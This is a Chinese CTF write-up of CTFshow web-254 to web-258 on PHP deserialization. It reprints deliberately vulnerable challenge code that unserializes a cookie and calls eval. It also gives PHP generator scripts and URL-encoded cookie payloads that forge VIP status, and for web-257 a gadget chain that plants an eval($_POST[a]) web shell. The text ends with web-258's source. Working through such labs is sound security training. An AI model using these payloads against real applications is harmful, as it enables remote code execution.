web-254

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;

public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
if($this->username===$u&&$this->password===$p){
$this->isVip=true;
}
return $this->isVip;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = new ctfShowUser();
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}

这道题只需要让username和password=’xxxxxx’即可

web-255

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;

public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}

还是需要令$isVip的值为true

可以看到$user = unserialize($_COOKIE[‘user’]);

我们在cookie传入的user值会被进行反序列化,那我们直接令传入的user的isvip为真即可

所以我们这样来生成序列化字符串(注意这个字符串要url编码)

1
2
3
4
5
6
7
<?php
class ctfShowUser{
public $isVip=true;
}
$a = new ctfShowUser();
echo urlencode(serialize($a));
?>

在本地跑了之后,代码为

1
O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

然后我们再让username和password都等于xxxxxx即可

web-256

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;

public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}

在上一题判断isvip的同时,还需要让user类的username和password不相等

1
2
3
4
5
6
7
8
9
<?php
class ctfShowUser{
public $isVip=true;
public $username="xxxxxx";
public $password="abcdef";
}
$a = new ctfShowUser();
echo urlencode(serialize($a));
?>

然后本地跑一下生成序列化即可
所以cookie里是:

1
user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A5%3A%22isVip%22%3Bb%3A1%3Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22abcdef%22%3B%7D

但是又需要我们get进去的username和password和变量username,password相等

所以我们令username=xxxxxx&password=abcdef,和我们写的php代码一样即可

web-257

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';

public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}

}

class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}

class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}

首先可以看到,我们这次仍然需要get传入username和password,并且,我们需要在__destruct时执行我们的backDoor类,可以看到backDoor类里面的code会被eval执行,所以我们的user中还得有个变量是code
当然,还得注意到此时的参数都是private了

所以我们构造生成序列化的php代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class ctfShowUser{
private $isVip=true;
private $username="xxxxxx";
private $password="xxxxxx";
private $class = 'backDoor';
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor
{
private $code='eval($_POST[a]);';
}
$a = new ctfShowUser();
echo urlencode(serialize($a));

?>

这里解释一下为什么这边要写出构造函数,这边构造函数,我改成了调用backDoor类,这样就可以在我的php代码中new ctfShowUser()的时候调用backDoor类了

所以我们令cookie为

1
user=O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A1%3Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A16%3A%22eval%28%24_POST%5Ba%5D%29%3B%22%3B%7D%7D

get传入username和password都为xxxxxx
然后post传入a,执行我们想要实现的代码即可。

web-258

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';

public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}

}

class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}

class backDoor{
public $code;
public function getInfo(){
eval($this->code);
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}